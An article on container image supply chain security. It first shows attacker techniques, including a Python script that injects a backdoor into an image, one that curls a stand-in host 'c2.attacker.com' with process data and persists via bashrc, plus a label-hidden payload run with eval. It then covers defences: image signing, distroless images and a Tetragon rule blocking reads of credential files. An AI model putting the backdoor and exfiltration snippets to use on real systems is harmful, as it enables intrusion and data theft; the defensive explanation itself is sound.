It is 2:00 AM. Your phone lights up with the notification every CISO and SecOps engineer dreads. Your Security Operations Center is lighting up like a Christmas tree. An attacker has just deployed a seemingly innocent Node.js application image across your Kubernetes cluster.

image security

Within minutes, this digital Trojan horse begins harvesting credentials, exfiltrating data, and establishing persistent backdoors across your entire infrastructure. The scary part? Your firewall didn’t blink. Your runtime security didn’t flag a process anomaly until it was too late. The threat was baked into the very DNA of your infrastructure: the container image itself.

Container images are more than just packaged applications. They’ve become the atomic units of our infrastructure. Yet they represent one of the most dangerous supply chain attack vectors we face today. Recent data shows that 87% of organizations use third-party base images without proper verification. That’s a sobering statistic.

Today I want to explore container image security. We’ll look at how attackers weaponize the supply chain, then build a practical defense strategy based on real-world tactics.

Part I: How attackers think

To defend against the enemy, you need to think like the enemy. The most sophisticated attacks today don’t try to break down your front door. They wait for you to invite them in.

Supply chain poisoning: the “helpful update”

The nastiest attacks target the foundations you build upon. The method isn’t brute force (it’s trust exploitation).

The CNCF Security TAG maintains a detailed catalog of known supply chain attacks that illustrates just how widespread this problem has become. Software supply chain attacks cost over $45 billion in 2023, and are expected to exceed $80 billion this year.

The attack lifecycle typically follows this pattern:

  1. Reconnaissance: Identifying popular base images with weak security controls
  2. Weaponization: Creating a malicious image that mimics a legitimate one (like node:18-alpine)
  3. Delivery: Pushing to a public registry or compromising an upstream source

One specific technique is what I call “Registry Injection.” If an attacker compromises a mid-tier registry or finds an exposed S3 bucket backing a registry, they can inject malicious layers into existing manifests.

Here’s a simplified Python representation of how an attacker might script the injection of a backdoor into a registry manifest:

class RegistryInfector:
    def inject_backdoor(self, target_image):
        # Fetch the latest manifest
        manifest = self.session.get(f"{self.registry_url}/v2/{target_image}/manifests/latest").json()
        
        # Define the backdoor payload
        backdoor = '''#!/bin/bash
        curl -s "https://c2.attacker.com/$(hostname)" \
        --data "$(ps aux | base64)" &
        '''
        
        # Inject into the build instructions
        dockerfile = f'''FROM {target_image}
        RUN echo '{backdoor}' > /tmp/.health && chmod +x /tmp/.health
        RUN echo '/tmp/.health &' >> /etc/bash.bashrc
        '''
        return dockerfile

By injecting this into the shell configuration (.bashrc), the malicious code executes every time a developer or a CI/CD runner spins up the container. It persists across restarts and deployments. Nasty stuff.

The man-in-the-middle: image tampering

Let me walk you through another vector: image tampering during transit. This is where network positioning meets container vulnerability in a dangerous way.

Imagine an attacker (let’s call him Marcus) who has positioned himself on the network, maybe via DNS poisoning or BGP hijacking. When your CI/CD pipeline pulls an image from a public registry without strict TLS verification or content trust, Marcus can intercept the request.

The attack flow is simple and terrifying:

  1. The victim requests library/node:latest
  2. The attacker’s proxy server intercepts the manifest request
  3. A malicious layer gets appended to the manifest JSON
  4. The victim downloads what looks like the “official” image, but now contains a hidden payload

The proxy code might look something like this:

@app.route('/v2/<path:repository>/manifests/<tag>')
def intercept_manifest(repository, tag):
    if "node" in repository:
        # Serve the poisoned manifest instead of the upstream one
        return serve_poisoned_manifest(repository, tag)
    return proxy_upstream(repository, tag)

If you aren’t verifying image signatures, your Docker client has no way of knowing that the bits it just downloaded are different from what the publisher pushed. You’re trusting the network, which is exactly what attackers want.

Steganography and layer manipulation

Advanced attackers are moving beyond simple script injection. They’re using steganography to hide payloads within binary files or image metadata to bypass standard vulnerability scanners (like Trivy or Clair).

A common technique involves binary steganography. An attacker takes a legitimate binary (like a system monitoring tool) and appends a malicious payload to the end of the file or embeds it within unused data structures. Since the file signature and initial bytes look correct, basic scanners might skip it.

Another vector is metadata injection. Attackers can embed base64-encoded payloads directly into the Docker image labels.

# Inject payload into image labels
encoded=$(echo "malicious_script" | base64 -w 0)
docker build --label "system.config=$encoded" -t infected:latest

# Runtime extraction
payload=$(docker inspect image | jq -r '.[0].Config.Labels["system.config"]' | base64 -d)
eval "$payload"

This technique works particularly well because scanners rarely flag metadata fields as potential execution vectors. They’re focused on known vulnerabilities in packages, not on what might be hiding in plain sight.

Container escape vulnerabilities

Once an attacker has deployed a malicious container, the next step is often attempting to escape to the host system. Kernel vulnerabilities like CVE-2022-0492 (affecting the Linux cgroup v1 release_agent feature) have been exploited in the wild to break out of container isolation and compromise the underlying host.

Part II: Building the fortress

Enough about the problem. As security professionals, our job is to build the solution. We need defense in depth (a fortress with multiple walls). Relying on a single scanner is like having a screen door on a submarine.

Strategy 1: Provenance and the chain of trust

The single most effective defense against supply chain attacks is cryptographic signing. You need to verify that the image you’re running is exactly the image you built.

I use tools like Cosign (part of the Sigstore project) to implement this. The workflow changes from “Pull, Run” to “Pull, Verify, Run.”

Here’s what a production-ready signing pipeline looks like in a secure CI environment:

#!/bin/bash
# Production image signing pipeline
set -euo pipefail

COSIGN_KEY_PATH="/secure/cosign/cosign.key"
IMAGE_NAME="$1"

# 1. Sign the image
echo "[*] Signing image: $IMAGE_NAME"
cosign sign --key "$COSIGN_KEY_PATH" --upload=true "$IMAGE_NAME"

# 2. Generate and Sign Attestation (SBOM)
echo "[*] Attesting SBOM"
cosign attest --key "$COSIGN_KEY_PATH" \
  --predicate <(generate_sbom "$IMAGE_NAME") \
  --type spdxjson \
  "$IMAGE_NAME"

On the admission side (inside your Kubernetes cluster), you use an Admission Controller (like OPA Gatekeeper or Kyverno) to enforce this. If the signature doesn’t match your organization’s public key, the pod gets denied before it even starts. No signature, no entry.

Strategy 2: Minimal attack surface with distroless

You can’t exploit a shell if there is no shell. You can’t run apt-get install malware if there’s no package manager. Simple logic, but incredibly powerful.

This is the philosophy behind distroless images (maintained by Google). These images contain only your application and its runtime dependencies. They don’t contain package managers, shells, or standard Linux utilities like curl or wget.

Comparing a standard Dockerfile to a distroless one highlights the reduction in attack surface:

Standard (vulnerable):

FROM node:18
WORKDIR /app
COPY . .
CMD ["node", "server.js"]
# Attackers have access to /bin/bash, curl, apt, etc.

Distroless (hardened):

# Build stage
FROM node:18-alpine AS builder
WORKDIR /app
COPY . .
RUN npm ci --production

# Production stage
FROM gcr.io/distroless/nodejs18-debian11:nonroot
COPY --from=builder /app /app
WORKDIR /app
CMD ["server.js"]
# No shell. No package manager. No root user.

By using multi-stage builds and distroless base images, you neutralize entire classes of attacks. Even if an attacker finds a Remote Code Execution vulnerability in your app, they land in an environment with no tools to expand their foothold. They’re stuck.

Strategy 3: Runtime security and behavioral analysis

Static analysis (scanning the image at rest) is vital, but it’s not enough. Sophisticated attacks only reveal themselves at runtime. This is where we need behavioral analysis.

You need to define a baseline of “normal” behavior. Does your web server process usually spawn a child process? Does it usually try to access /etc/shadow? Does it usually open a connection to an unknown IP on port 443? These are questions worth asking.

Using eBPF-based tools like Tetragon or Falco (both CNCF projects), we can monitor kernel-level system calls in real time.

Here’s an example of a Tetragon policy that explicitly forbids the opening of sensitive files:

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: file-monitor
spec:
  kprobes:
  - call: "security_file_open"
    args:
    - index: 0
      type: "file"
    selectors:
    - matchArgs:
      - index: 0
        operator: "Prefix"
        values: ["/etc/passwd", "/etc/shadow", "/root/.ssh/"]
      action: SigKill

If an attacker manages to exploit the container and attempts to read /etc/passwd, the kernel immediately kills the process. This is your ultimate safety net.

Strategy 4: The build pipeline as a security gate

The battle is often lost before the image even reaches the registry. A compromised CI/CD pipeline (Jenkins, GitHub Actions) allows attackers to inject malicious build steps. This is the “Build Pipeline Compromise” vector.

To secure the build pipeline, you need to treat it as a critical production environment:

  1. Ephemeral build agents: Never use long-lived build servers that can accumulate malware or stolen secrets
  2. Secret management: Never bake secrets into images. Use Docker’s --mount=type=secret syntax so credentials are mounted only during the build and never persisted in the final layer
  3. Hermetic builds: Ensure your build environment doesn’t have unrestricted internet access. It should only be able to pull dependencies from trusted, mirrored sources

Each of these controls reduces the attack surface at the source, before the damage can spread.

The fortress mindset

Container image security isn’t a checkbox. It’s a discipline. It requires shifting our mindset from “perimeter defense” to “intrinsic defense.”

We need to assume the supply chain is hostile. We need to assume the network is compromised. We need to assume the runtime environment is under attack.

By implementing cryptographic signing, minimizing our attack surface with distroless images, and enforcing strict runtime behavioral policies, we transform our infrastructure from a soft target into a fortress.

Don’t let your containers be the Trojan horse. Verify everything, trust nothing.